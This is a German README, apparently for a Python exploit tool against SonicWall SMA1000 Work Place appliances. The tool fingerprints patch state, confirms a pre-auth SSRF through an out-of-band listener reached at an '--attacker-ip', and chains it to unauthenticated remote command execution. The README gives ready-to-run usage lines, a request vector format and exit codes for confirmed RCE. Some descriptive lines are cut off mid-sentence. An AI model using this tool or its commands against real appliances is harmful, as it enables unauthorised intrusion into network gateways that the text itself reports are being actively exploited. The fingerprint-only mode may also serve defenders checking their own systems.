
Einzeldatei-Python-Tool, das SonicWall SMA1000 Work Place Appliances fingerprinted, die Pre-Auth-SSRF (CVE-2026-83548) über Out-of-Band-Capture prüft und bestätigt und bis zur RCE verkettet.
Einzeldatei-Tool (Python 3, nur Standardbibliothek, keine Abhängigkeiten) zur Bewertung und Ausnutzung der Pre-Authentication-SSRF in der Work Place- Schnittstelle von SonicWall-SMA1000-Appliances (6210 / 7210 / 8200v), einschließlich einer opportunistischen Kette zu unauthentifizierter RCE über CVE-2026-83549.
| CVE | CVE-2026-83548 (SSRF, CWE-918/CWE-441), CVSS 10.0 |
| Kette | CVE-2026-83549 — OS-Command-Injection im AMC (Post-Auth), umgangen über die SSRF |
| Mechanismus | Die Work-Place-Schnittstelle verhält sich als unbeabsichtigter Forward-Proxy: Die Appliance leitet präparierte Anfragen an interne Ressourcen (einschließlich des AMC) unter Nutzung ihrer eigenen privilegierten Netzwerkposition weiter, wobei zu keinem Zeitpunkt eine Authentifizierung erforderlich ist |
| Betroffen | SMA1000 ≤ 12.4.3-03453 und ≤ 12.5.0-02835 |
| Behoben | 12.4.3-03526 / 12.5.0-02952 (SonicWall-Hinweis SNWLID-2026-0016) |
| Status | Aktiv in freier Wildbahn ausgenutzt; CISA KEV seit 2026-09-02; kein Workaround — nur Patchen |
Server: SMA/*-Banner, __extraweb__-Assets, Version aus Hilfe-
Links; Klassifizierung gegen die behobenen Builds (PATCHED / AFFECTED /
POTENTIALLY_AFFECTED / NOT_SMA1000)./cgi-bin/-Relay-Pfads und der Forward-Proxy-
Form „absolute URI als Pfad") und bewertet Anomalien gegen eine Baseline:
Statuscode-Verschiebung, Latenzdelta, neue Response-Header, Body-Delta.
Vom Bediener bereitgestellte Vektoren werden über --vector akzeptiert (wiederholbar).# Fingerprint / patch-state only (read-only)
python3 exploit_cve_2026_83548.py --fingerprint-only vpn.example.com
# Full pass: vector probing + out-of-band SSRF confirmation
python3 exploit_cve_2026_83548.py --listen --attacker-ip <your_visible_IP> \
--oob-timeout 5 vpn.example.com
# + RCE chain attempt (default command: id)
python3 exploit_cve_2026_83548.py --listen --attacker-ip <your_visible_IP> --rce \
--rce-cmd 'id' vpn.example.com
# Known vector (bypasses the default candidate set), JSON report
python3 exploit_cve_2026_83548.py --json --skip-probe \
--vector 'POST:/cgi-bin/:url={T}' --listen --attacker-ip <your_visible_IP> \
-k -t 10 203.0.113.10
# Multiple targets in sequence (exit code = worst verdict)
python3 exploit_cve_2026_83548.py --listen --attacker-ip <your_visible_IP> \
vpn-a.example.com vpn-b.example.com
--attacker-ip — die IP, von der aus die Appliance Ihren Capture-Listener erreichen können muss (127.0.0.1 für lokale Prüfungen; eine netzwerkseitig sichtbare Adresse plus Portweiterleitung für Remote). Ohne diese Angabe errät das Tool eine lokale IP, was in Container-/VPN-Setups oft nicht funktioniert.
| Code | Bedeutung |
|---|---|
| 0 | gepatcht / nicht betroffen |
| 1 | betroffen laut Version, oder SSRF bestätigt, oder betroffene Firmware-Linie mit unbestimmtem exaktem Build |
| 2 | unauthentifizierte RCE bestätigt (Kette erfolgreich) |
| 3 | Ziel ist kein SMA1000 Work Place Portal |
| 4 | Verbindungs-/sonstiger Fehler |
12.5.0), nicht den exakten Hotfix-Build — das häufige Ergebnis
ist POTENTIALLY_AFFECTED, was eine Bestätigung des Builds auf der
Appliance selbst erfordert.